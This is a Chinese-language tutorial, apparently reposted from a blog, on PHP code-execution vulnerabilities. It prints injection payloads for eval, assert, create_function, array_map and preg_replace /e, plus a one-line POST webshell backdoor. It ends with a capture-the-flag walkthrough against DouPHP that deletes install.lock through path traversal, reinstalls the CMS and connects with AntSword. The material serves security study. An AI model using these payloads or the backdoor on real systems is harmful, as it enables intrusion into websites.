代码执行漏洞(DouPHP)
作者:互联网
代码执行漏洞
用户输入的数据被当作后端代码执行
后端代码:PHP、ASP、ASPX、JSP
一句话木马就是最经典的代码执行
RCE
(remote command/code execute)远程命令或者代码执行
现在由于 RCE 这个词的滥用,范围较为广泛,可以理解为渗透的最终情况可以实现执行命令或者代码,例如:代码执行、文件包含、反序列化、命令执行,甚至是写文件的 getshell
函数
- eval()
可以执行多行代码
eval('system("whoami");phpinfo();')
- assert()
执行单行代码
如果再次利用上述的两行代码进行测试(assert('system("whoami");phpinfo();')
),我们只会看到第一个命令的返回结果
当然,如果禁用了eval()
也可以用assert()
包含:
<?php
preg_replace('/a/e', phpinfo(), 'asd');
- preg_replace()
正则替换函数
当存在\e
这个修饰符标签的时候会产生代码执行漏洞
原本用法:preg_replace(正则表达式, 替换为的内容, 要过滤的字符串)
漏洞示例:preg_replace('/a/e', phpinfo(), 'asd');
- create_function()
匿名函数(可以理解为“一句话函数”)
4.0.1 <= php < 7.2.0
create_function(形参, 具体要执行的代码)
<?php
$a = create_function('$id', 'echo $id;');
$a(1+1);
示例 1:
<?php
$a = create_function('', $_REQUEST[8]);
虽然是匿名函数,但实质上和正常函数的运行方式一样:
<?php
function a() {
$_REQUEST[8];
}
payload:?8=}phpinfo();//
原来的代码就变成:
<?php
function a() {
}phpinfo();//
}
整理一下:
<?php
function a() { }
phpinfo(); //}
示例 2:
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
payload:?sort_by='"]);}phpinfo();//
整理:
function niming($a, $b) {
return 1 * ' . $sorter . '($a["''"]);
}
phpinfo(); //}
示例 2:
<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
payload:?c=));}phpinfo();//
整理:
function lambda($a, $b) {
return (strlen($a)-strlen($b)+strlen());
}
phpinfo(); //}
后门:
<?php $func =create_function('',$_POST['cmd']);$func();?>
- array_map()
回调函数
array_map(要调用的函数, 要处理的值[数组])
<?php
array_map('assert', $_REQUEST);
payload:?6=system("whoami");&8=phpinfo();
-
双引号命令执行
"${phpinfo()}"
php字符串的高级用法
php >= 5.5 -
unlink()
unlink()
是永久删除,而且相对路径和绝对路径均可
在项目上,CMS 都有一个锁文件(install.lock
)
当删除、更名这个文件,CMS 就要重装(这里的源码全部使用的双引号,可以使用双引号命令执行)
这里必须介绍一下 CMS 安装时做了什么
①:检测环境是否符合条件
②:把数据库信息写入配置文件(覆盖)
③:连接数据库,写入数据(覆盖)
如果我们要对这个点进行测试,思路:
删除锁文件 -> 安装界面 -> 写配置 -> 代码执行
(这个操作需要报备,提醒大家不要轻易执行)
项目过程:
生产环境:真实使用(线上环境)
测试环境:专业测试(测试功能,测试 bug)
开发环境:开发专用(开发使用)
如何删除锁:
unlink()
一般 CMS 的锁文件在固定位置,大家如果不知道的话建议问开发(data、include、conn | config.php)
CMS => 安装程序,连接数据库,账户名、密码,并将其写入配置文件(conn.php
、config.php
)
常见过滤 => 单双引号(魔术引号)
DouPHP
直接访问admin
在admin/mobile.php
下找到可利用的 unlink()
发现可以通过目录穿越删除../../../../data/install.lock
抓包
放包
现在可以重装 CMS 了
写入 执行语句并安装(数据库密码乱写,这样值配置文件,不写入数据)
成功
连上蚁剑可以看到,用户名的地方成功被我们写入
找到flag
标签:函数,phpinfo,写入,漏洞,代码执行,DouPHP,php,CMS 来源: https://www.cnblogs.com/1ta-chi/p/15747122.html